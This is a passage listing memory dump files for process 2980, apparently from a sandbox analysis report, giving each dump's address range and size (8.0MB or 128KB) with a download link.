memory/2980-70-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-63-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-64-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/2980-77-0x00000000001A0000-0x00000000001C0000-memory.dmp

Filesize
128KB

Download
memory/2980-78-0x00000000001D0000-0x00000000001F0000-memory.dmp

Filesize
128KB

Download
memory/2980-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-66-0x00000000001D0000-0x00000000001F0000-memory.dmp

Filesize
128KB

Download
memory/2980-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-144-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-146-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download